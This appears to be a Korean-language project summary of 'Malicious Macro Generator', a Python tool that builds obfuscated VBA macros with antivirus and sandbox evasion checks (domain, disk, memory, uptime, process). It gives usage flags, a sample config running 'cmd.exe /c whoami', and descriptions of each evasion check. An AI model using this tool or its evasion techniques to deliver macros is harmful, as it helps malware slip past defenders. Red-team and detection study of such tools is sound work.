mr-un1k0d3r/maliciousmacrogenerator명령 실행 페이로드에 대해 AV/샌드박스 회피 기능이 포함된 난독화된 VBA 매크로를 생성하며, 도메인, 디스크, 메모리 및 프로세스 검사를 지원합니다.
난독화된 매크로를 생성하고 AV/샌드박스 회피 메커니즘을 포함하는 간단한 유틸리티입니다.
Python 2.7
MMG.Malicious Macro Generator v2.0 - RingZer0 Team
Author: Mr.Un1k0d3r [email protected]
Usage: MMG.py [config] [output] (optional parameters)
[config] Config file that contain generator information
[output] Output filename for the macro
-l --list List of all available payloads and evasion techniques
-s --split_strings Randomly split strings at parts
-x --strings_to_hex Encode strings to hex
python MMG.py configs/generic-cmd.json malicious.vba
프로젝트 설정 파일 예제입니다.
{
"description": "Generic command exec payload\nEvasion technique set to domain check",
"template": "templates/payloads/generic-cmd-evasion-template.vba",
"varcount": 150,
"encodingoffset": 4,
"chunksize": 200,
"encodedvars": {
"DOMAIN":"RINGZER0"
},
"vars": [],
"evasion": ["encoder", "domain"],
"payload": "cmd.exe /c whoami"
}
매크로는 USERDOMAIN 환경 변수를 가져와 미리 정의된 값과 비교합니다. 일치하면 최종 페이로드가 실행됩니다.
매크로는 총 디스크 공간을 확인합니다. VM 및 테스트 머신은 대부분 작은 디스크를 사용합니다.
매크로는 총 메모리 크기를 확인합니다. VM 및 테스트 머신은 적은 리소스를 사용합니다.
매크로는 시스템 가동 시간을 확인합니다. 샌드박스는 짧은 가동 시간을 반환합니다.
매크로는 특정 프로세스가 실행 중인지 확인합니다 (예: outlook.exe)
파이썬 스크립트는 휴리스틱 탐지를 피하기 위해 난독화된 코드를 생성합니다.
Mr.Un1k0d3r RingZer0 팀